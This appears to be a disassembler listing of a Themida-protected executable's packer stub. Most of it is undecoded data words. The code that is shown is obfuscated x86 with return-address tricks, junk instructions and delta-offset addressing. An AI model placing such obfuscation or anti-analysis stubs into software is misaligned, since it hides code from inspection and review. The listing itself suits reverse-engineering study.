dd 60006A06h, 25C58529h, 0BF0F0614h, 6A61D9h, 0A29B589h
dd 858D0614h, 617E493h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0FAC35747h, 2D3D8CBBh, 0F854B6Eh, 688h
dd 71858900h, 0E9061430h, 12h, 44CA1022h, 627C48DEh, 70DB12A0h
dd 34796580h, 0C08376F9h, 71BD0105h, 90061423h, 0EE9h
dd 58CC8F00h, 0C694F390h, 6B4D2DC2h, 50F55CCEh, 55006A90h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 6EAC22A1h, 6A5287B4h, 6E900h, 0FC800000h, 3CB1C6A5h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 37D7B6C3h, 898E7EDCh, 142585B5h, 7195FF06h
dd 8B06141Ah, 0FC9D8DF1h, 8B0617A8h, 141191BDh, 0F8D3FF06h
dd 236D85FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 5B0605C3h, 8AD98C17h, 2BB5B58Bh
dd 2CE90614h, 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 617E49Dh
push 0
push ebp
call sub_58708E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58708E proc near ; CODE XREF: Themida_:00587086p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_58708E endp
; ---------------------------------------------------------------------------
dw 2817h
dd 2ABEC0E0h, 81113159h, 141AA5BDh, 7D006h, 5860F00h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 3845C352h, 0BD235724h, 6142301h, 0C99D8B5Eh
dd 8B06141Ah, 1406EDBDh, 0E38106h, 0B000001h, 74850FDBh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 89E6C352h, 0D78166FDh, 0BD83D66Dh
dd 617E31Fh, 23840F00h, 0E9000000h, 13h, 0F27B4742h, 37036C3Eh
dd 0E67CAC98h, 9CA1BC35h, 0E994F719h, 37h, 1165B52Bh, 85C70614h
dd 617E31Fh, 1, 810Fh, 1CE90000h, 8B000000h, 0C9B460F8h
dd 1B798D89h, 0C7610614h, 17E31F85h, 6, 41BD2300h, 8D061409h
dd 141AC99Dh, 9E906h, 0DB320000h, 0B7D1B450h, 81AFA577h
dd 0FFFEFF23h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0EFF2B25Fh, 76588218h
dd 0F88B664Dh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 0AE12C353h, 0C48D54D9h
dd 0C3F6AAC5h, 5D840F04h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 71BC350h
dd 0AFBA1D5h, 0BD8B2517h, 61423BDh, 157D8D29h, 95FF0614h
dd 6142E45h, 2625BD8Bh, 89500614h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 397D51C3h
dd 40DE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 391406B4h, 85A922CCh, 0BD8B00B0h
dd 61400ADh, 0E68170E6h, 9983FA7h, 0BF6671E4h, 0B60F60FEh
dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 0E58D294Ch, 0F5061423h, 6BAh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 748646E1h, 0F727BC7h, 11870F53h, 0E9000000h, 0Ch, 0FBDB3B86h
dd 1F0601D4h, 76AB46DCh, 0FC38B5Eh, 187h, 0E8C1FC00h, 6E904h
dd 8AA0000h, 5CD4E811h, 6AE2F766h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F6B9C350h
dd 28029682h, 0E46D4825h, 94DB523h, 0D82B0614h, 20FDB533h
dd 8B500614h, 241C89F7h, 0D158529h, 0CE90614h, 0D7000000h
dd 936610CEh, 127E98C9h, 0FF2F0F99h, 141AA5B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0BA6C47ADh, 66D33BBEh, 6B66DF81h, 116995FFh, 6A0614h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0BDC796C3h, 0F00B0B8h, 1A8Fh, 3BB46000h, 11E9h, 4B8D6500h
dd 0DA395AD2h, 0B3CDFA8Dh, 0B03B65CAh, 0E661D74Bh, 56006A70h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 6DEA4F06h, 5EA584BEh, 0BD8BC9A9h, 6140FE5h, 7FBF71E4h
dd 3C557EF5h, 53830F61h, 0BF000002h, 53BBA622h, 0E9D8B60Fh
dd 0Ch, 0B4B564B3h, 75ACBFA4h, 42BFDA23h, 6BAh, 68BE6600h
dd 6AC38B27h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0BFDDC350h, 592F6521h, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 801EC352h, 9217B1C3h, 29A19589h, 0F7660614h
dd 6AD82BE2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 20F9C356h, 58095FF1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8EC35747h, 0FDED0BCh
dd 68Bh, 0E19D8900h, 29061420h, 14221DBDh, 0FD82B06h, 18588h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 6E87Bh, 22E20000h, 5B66C8EFh, 0E966D681h
dd 0B95F7993h, 7, 3101B58Bh, 0C1830614h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 5F5DDB85h, 413953C5h, 0D93BF55Ah, 11C860Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0DA57D1C3h, 25CD9D31h, 8C660614h, 4DBD89D9h, 0F606141Bh
dd 840F04C1h, 0DEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 1AC35545h, 0B32EBE29h, 0BD29069Fh, 6140F4Dh
dd 2E4595FFh, 0F28B0614h, 13E860h, 3850000h, 7FA6BF5Eh
dd 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0BD9D31E0h, 5806141Fh
dd 10D28166h, 895B61D0h, 142E41BDh, 6AC32B06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0D657C351h, 862BAC35h, 78802DC7h, 8343Dh, 4F860F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 3B8C352h, 8B106163h, 14223DB5h
dd 2CE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0E4D73DC3h, 447A338Bh, 0C08B990Eh
dd 2ADB58Bh, 0C38B0614h, 0B58BD88Bh, 6140BE1h, 53185C7h
dd 1B510614h, 840F564Fh, 6, 2B1DB58Bh, 0C08B0614h, 3C5BD8Bh
dd 0BD810614h, 6141AA5h, 7D0h, 3D850Fh, 890F0000h, 6, 22E5B58Bh
dd 85FF0614h, 6141AA5h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0EAC35040h, 0EF5841C7h, 205FD20Eh, 0D58D8927h
dd 0FF061422h, 141AA5B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 90D17753h
dd 8B604672h, 14307D8Dh, 13E806h, 18010000h, 0E1D41B14h
dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0DF81667Fh, 615FA1E3h
dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0A18952C3h, 0B58B2567h, 6142C91h
dd 0A890F90h, 0F000000h, 489h, 0E2BE6600h, 0ADBD8B5Bh
dd 8B061402h, 142EADBDh, 418D8906h, 8B061423h, 140361BDh
dd 0D9D0106h, 29061414h, 14114D9Dh, 2DB58906h, 66061408h
dd 0E97C0ABFh, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h
dd 0EBE68166h, 31B58B05h, 0F906141Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 1BC35242h, 5B6F6265h, 538C860Eh
dd 10D5BD8Bh, 0BD8B0614h, 614095Dh, 10E95Fh, 41A10000h
dd 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6A1DE3h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0C5BD02C3h, 932F3949h, 89D585E0h, 143041B5h, 5BD2B06h
dd 0FC061423h, 2E95BD2Bh, 8B660614h, 0BD9589F8h, 6A061412h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 4FCCC353h, 0D084CBD0h, 0DE681D6h, 0E91FE57Ah
dd 0Bh, 9EEFA82Ah, 3F8876Ah, 0E9DAC823h, 0FFFFF80Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 20C35646h, 979F3011h
dd 9D9589B1h, 8906142Ah, 1425B58Dh, 74BE6606h, 0DD9D3135h
dd 8B061414h, 0EABE66C1h, 4EB33h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 89FBC355h, 142EC19Dh, 7E806h, 0C4150000h, 0FF2D348Dh
dd 0A59589D7h, 5E061419h, 0BEDB58Bh, 820F0614h, 6, 0B1D0D781h
dd 858D60C7h, 6140F99h, 1853150h, 5F06140Fh, 21318589h
dd 66500614h, 489FE8Bh, 97BE6624h, 0FC006A68h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0E90ED4C3h, 20B98D89h, 858D0614h, 617EE8Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F5C35545h, 0F19D01D3h
dd 83061420h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 0B09276C3h, 7E958h, 526E0000h, 75A310B1h
dd 68E0F30h, 8B000000h, 142FA5B5h, 0FB8B9006h, 8B665250h
dd 0F905FF0h, 6AF6BFh, 9D8BF960h, 61423E5h, 0E8006A61h
dd 0Fh, 622DE9B3h, 0D12F8727h, 12AE5DF8h, 66434EE9h, 0FF5FF38Bh
dd 141A7195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 2942A032h, 8B666FD4h, 0FC9D8DF1h
dd 6A0617A8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0AB7DC355h, 0D3FFA507h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 30C35040h, 6F3A2522h
dd 86B09EBFh, 0AE948h, 0EF620000h, 3BC4F88h, 7EB79247h
dd 1695BD89h, 85FF0614h, 614236Dh, 4820Fh, 0BE660000h
dd 6FE9F079h, 0E8000009h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 617EE99h
push 0
push ecx
call sub_587A8A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587A8A proc near ; CODE XREF: Themida_:00587A82p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_587A8A endp
; ---------------------------------------------------------------------------
mov ds:6FB3C05Dh, al
inc edx
scasb
mov ebp, esi
mov si, bx
cmp dword ptr [ebp+6141AA5h], 7D0h
jbe loc_587BCB
add di, 35B1h
mov ebx, [ebp+6140E2Dh]
and ebx, 100h
mov [ebp+6140655h], esi
or ebx, ebx
jnz loc_587B26
mov di, si
cmp dword ptr [ebp+617ECCCh], 0
jz loc_587AED
jmp loc_587B53
; ---------------------------------------------------------------------------
movsx edi, ax
loc_587AED: ; CODE XREF: Themida_:00587ADFj
mov dword ptr [ebp+617ECCCh], 1
push 0
push ebp
call sub_587B02
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587B02 proc near ; CODE XREF: Themida_:00587AFAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_587B02 endp
; ---------------------------------------------------------------------------
dec esi
add [eax-75h], al
mov ch, 95h
sub dl, [esi+eax]
jmp loc_587B53
; ---------------------------------------------------------------------------
mov esi, [ebp+6141AC1h]
loc_587B26: ; CODE XREF: Themida_:00587ACFj
mov dword ptr [ebp+617ECCCh], 0
push 0
push edi
call sub_587B3B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587B3B proc near ; CODE XREF: Themida_:00587B33p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_587B3B endp
; ---------------------------------------------------------------------------
mov edx, 0A4F41CA7h
inc esp
das
loc_587B53: ; CODE XREF: Themida_:00587AE5j
; Themida_:00587B1Bj
lea ebx, [ebp+6140E2Dh]
push 0
push ecx
call sub_587B64
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587B64 proc near ; CODE XREF: Themida_:00587B5Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_587B64 endp
; ---------------------------------------------------------------------------
dd 23E0C1ACh, 9D09AC57h, 6140361h, 0CE8h, 9570F600h, 0C864287Bh
dd 9C6EA445h, 8985293Ch, 5E06141Ah, 6860Fh, 0BD8B0000h
dd 6142121h, 0FEFF2381h, 0CE81FFFFh, 5640F6E1h, 7E860h
dd 0E6300000h, 7870FE1h, 39BD8901h, 5B06140Ch, 257D9D89h
; ---------------------------------------------------------------------------
adc al, 6
popa
loc_587BCB: ; CODE XREF: Themida_:00587AB0j
mov bx, ds
push 0
push ebp
call sub_587BD9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_587BD9 proc near ; CODE XREF: Themida_:00587BD1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_587BD9 endp
; ---------------------------------------------------------------------------
db 7, 31h, 0E9h
dd 8, 4D60347Ah, 0F8645880h, 0F04C3F6h, 8784h, 0B9666000h
dd 858B668Bh, 61422E5h, 4595FF61h, 6A06142Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 9122C352h, 1637410Ch, 0BE677D9Fh, 2A94B26Bh, 0BE525090h
dd 436AE186h, 5250310Fh, 310F5250h, 310F585Ah, 585A585Ah
dd 0CE950h, 40CC0000h, 52853746h, 310E8C16h, 6A90AE8Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 537CC351h, 73830906h, 52EE9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0A8262CFBh, 2D285ABBh, 2615B58Bh, 0B00614h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h, 8E9h
dd 0CF26AD00h, 5B9EEE38h, 6A70E64Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BC7C356h
dd 1430E1B5h, 6880F06h, 29000000h, 143161B5h, 0E971E406h
dd 12h, 8184DA46h, 8672D060h, 29E138F8h, 93EDC6C9h, 958952BEh
dd 6140251h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0FBCC357h, 68Bh, 85BD0B00h
dd 0BA061410h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 79C35646h, 8B74D480h, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BE666F9Bh
dd 0E8C1927Fh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 160EBD1h, 14347D9Dh, 0E2F76606h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9FC35747h
dd 0BE8h, 7591BD00h, 88BF6076h, 0CD90123Fh, 6E8h, 0E7F68400h
dd 0B5A2D11h, 140319B5h, 815F5E06h, 4C2C2CFh, 6AD82B41h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 1EF5C355h, 459A2E82h, 0F78B667Eh, 52506093h
dd 310F6160h, 13E9h, 81826300h, 22255AF6h, 0EE4B1908h
dd 411CC24Fh, 5482FC27h, 0B966585Ah, 50611914h, 6A93F78Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 24F7C355h, 7B6EDDE1h, 0CE815156h, 50DF17F1h
dd 0B5FF5E5Fh, 6141AA5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0AC35343h, 0BE9F9ECh, 11000000h, 8575461Eh
dd 0A8383968h, 12E935EDh, 0FB000000h, 0FD111786h, 0A43F4A8Bh
dd 0FD62118h, 0D1D8DA22h, 6995FF53h, 81061411h, 374CD9F6h
dd 6A00B068h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0B5F3C356h, 0BE660FE9h, 70E660FFh
dd 61148DBEh, 8B71E40Eh, 14100DB5h, 0F613C06h, 29A83h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 7E651F65h, 51887155h, 0B70F60F1h, 0EAF681DEh
dd 611FE8F4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 92C1C350h, 6BAA1h
dd 85890000h, 6142215h, 6AC38Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0C2E5E8C3h, 2AA6C04Ah
dd 0B58B0E58h, 6140081h, 6A04E8C1h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9EA0C352h
dd 669CB995h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 9D89FDC3h, 61409F9h, 0BD0BD82Bh
dd 6141A31h, 0E898589h, 0F9580614h, 880FD82Bh, 1B3h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D1C35242h, 2B0D9529h
dd 7B90614h, 66000000h, 0C183FB8Bh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89268BC9h
dd 142BD5BDh, 0B5BD8B06h, 3B061409h, 54860FD9h, 0F000001h
dd 685h, 9D950100h, 66061431h, 5E9D98Ch, 0FF000000h, 0CD36B090h
dd 0C1F65F51h, 0F840F04h, 6A000001h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B7B8C350h
dd 890DD204h, 140B798Dh, 95FFF806h, 6142E45h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 0D3F37D93h
dd 0BE8601Ch, 48000000h, 21F5C3A4h, 5152CEC9h, 9D895AFBh
dd 61416DDh, 6A5B5Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0BD8BAFC3h, 61409A9h, 6AC32BF5h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0B6DDC350h, 2E1F48A7h, 8343Dh, 57860F00h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 3928C353h, 0B4908378h, 0E95EAE91h
dd 4Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
dd 0C0C35040h, 13F8F7DDh, 8E9C5h, 0B9D60000h, 945FA69Fh
dd 0C08BA712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0B6C35545h, 8BDC37D7h, 6AD88BC3h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0FAAC356h
dd 684h, 0ADBD2900h, 0C706142Ah, 141AC985h, 2B89D506h
dd 53006A10h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0D2E04AE2h, 8E19A5D1h, 0BD895B8Ah, 6140FBDh
dd 8D89C08Bh, 61406C9h, 1AA5BD81h, 7D00614h, 850F0000h
dd 53h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
dd 0EC35545h, 609B7B9Eh, 8948C480h, 141685BDh, 0B70F6106h
dd 0A585FFFFh, 6A06141Ah, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0BB71C352h, 0FF44D79Dh
dd 141AA5B5h, 0D7816606h, 95FF68FDh, 6141169h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FC35646h, 0D2FA7095h
dd 5009B593h, 55BD01F2h, 90061402h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0DBC35141h, 0B36630C2h, 6A6735h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 816679C3h, 0BF80C9CEh, 5E520F7Dh, 8BF0B70Fh, 0F08B66F0h
dd 67DBD8Bh, 56FC0614h, 8B525FF8h, 1414C5BDh, 8D895F06h
dd 6142BBDh, 0F890Fh, 89600000h, 1431958Dh, 820FFC06h
dd 0
; ---------------------------------------------------------------------------
popa
push 0
push ecx
call sub_58834C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58834C proc near ; CODE XREF: Themida_:00588344p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_58834C endp
; ---------------------------------------------------------------------------
mov [edi+49A11354h], dh
mov edi, esi
mov esi, [ebp+6141FB5h]
push 0
push edi
call sub_588375
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588375 proc near ; CODE XREF: Themida_:0058836Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_588375 endp
; ---------------------------------------------------------------------------
db 63h, 71h, 2Eh
; ---------------------------------------------------------------------------
dec edi
xor edi, [ebp+6141B7Dh]
mov di, 4F7Fh
mov di, ax
jmp loc_5883A4
; ---------------------------------------------------------------------------
db 0EEh
; ---------------------------------------------------------------------------
retn 9645h
; ---------------------------------------------------------------------------
jecxz short loc_5883D9
and bl, [ebp+40h]
loc_5883A4: ; CODE XREF: Themida_:00588396j
mov esi, edx
push 0
push ebx
call sub_5883B1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5883B1 proc near ; CODE XREF: Themida_:005883A9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5883B1 endp
; ---------------------------------------------------------------------------
db 40h, 0F9h, 0EAh
dd 0F6A9E9D7h, 830FFFFFh, 12h, 68D0Fh, 0BD8B0000h
db 7Dh
; ---------------------------------------------------------------------------
loc_5883D9: ; CODE XREF: Themida_:0058839Fj
das
adc al, 6
loc_5883DC: ; DATA XREF: Themida_:00549360o
sub esi, 677D7D89h
mov eax, ecx
sub edi, [ebp+6141129h]
jmp short loc_5883F0
; ---------------------------------------------------------------------------
align 10h
loc_5883F0: ; CODE XREF: Themida_:005883EAj
push 0
push ebx
call sub_5883FB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5883FB proc near ; CODE XREF: Themida_:005883F3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5883FB endp
; ---------------------------------------------------------------------------
test al, 0C2h
scasd
xchg eax, ebx
pusha
mov [ebp+6140B95h], esi
pusha
loc_588417: ; CODE XREF: Themida_:0058842Fj
mov [ebp+6143501h], ecx
popa
popa
jb loc_588431
jmp loc_588431
; ---------------------------------------------------------------------------
dw 3512h
; ---------------------------------------------------------------------------
rcr byte ptr [ebx], 0F0h
jb short loc_588417
loc_588431: ; CODE XREF: Themida_:0058841Fj
; Themida_:00588425j
push 0
push edi
call sub_58843C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58843C proc near ; CODE XREF: Themida_:00588434p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_58843C endp
; ---------------------------------------------------------------------------
pusha
jg $+6
lea eax, [ebp+6140F99h]
push eax
jns $+6
mov [esp], eax
push 0
push edi
call sub_58846E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58846E proc near ; CODE XREF: Themida_:00588466p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_58846E endp
; ---------------------------------------------------------------------------
pop ecx
sub al, [ecx+14A9B58Bh]
adc al, 6
push 0
push 0
push ebp
call sub_588494
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588494 proc near ; CODE XREF: Themida_:0058848Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_588494 endp
; ---------------------------------------------------------------------------
dd 6AFA8BC4h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0CEAE810Ah, 858D32E9h, 617F9FAh
dd 0FD7DE681h, 0C08319A2h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 196BF660h
dd 8C0FAB64h, 6, 11A58509h, 60900614h, 0F525051h, 5A585A31h
dd 6A905061h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0E544C351h, 73F68157h, 5E1284BEh
dd 0B49B58Bh, 6A0614h, 0F3D8589h, 6A0614h, 306DBD89h, 95FF0614h
dd 6141A71h, 5A1BD8Bh, 9D8D0614h, 617A8FCh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F6C35242h, 83468421h
dd 21F04046h, 4EF8166h, 0FD3FF41h, 1A8Ah, 14890F00h, 0E8000000h
dd 0Eh, 96A80AFh, 9948D15Fh, 5778ADC5h, 0FF5FC32Bh, 14236D85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0CBAD56BCh, 6479B583h, 86BF660Bh, 88AE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5885DE: ; DATA XREF: Themida_:00549B1Co
; Themida_:00549D84o
call $+5
pop ebp
sub ebp, 617FA04h
mov di, 0B1B9h
jmp loc_5885FC
; ---------------------------------------------------------------------------
db 0DBh
dd 6829AE22h, 96EF108Dh
; ---------------------------------------------------------------------------
loc_5885FC: ; CODE XREF: Themida_:005885EEj
cmp dword ptr [ebp+6141AA5h], 7D0h
jbe loc_58873F
push 0
push ecx
call sub_588617
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588617 proc near ; CODE XREF: Themida_:0058860Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_588617 endp
; ---------------------------------------------------------------------------
db 0FCh
dd 0A86DC4F5h, 9D8B29C8h, 6142A05h, 7E9h, 0E4C4A600h, 0C7203F66h
dd 100E381h, 0BE660000h, 0DB0B7063h, 8C850Fh, 8B660000h
dd 0DBD83F9h, 617F8h, 41840Fh, 14E80000h, 39000000h, 8288F25h
dd 94CC8B7Fh, 6D005109h, 3599186Ch, 0F76E705h, 0E95FFFB7h
dd 67h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
dd 62C35646h, 0C7671035h, 17F80D85h, 106h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0BAA35F4Bh, 9F55242Bh, 15E9A2h, 0F8510000h, 8B66515Fh
dd 85C75EF7h, 617F80Dh, 0
; ---------------------------------------------------------------------------
movsx edi, dx
lea ebx, [ebp+6142A05h]
push 0
push eax
call sub_5886FC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5886FC proc near ; CODE XREF: Themida_:005886F4p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5886FC endp
; ---------------------------------------------------------------------------
dd 2280375Bh, 0D1195ED5h, 0D5B58BA2h, 8106141Fh, 0FFFEFF23h
dd 12E8FFh, 52AE0000h, 1E89F9F1h, 0B60FAA4Eh, 0ECAA2D61h
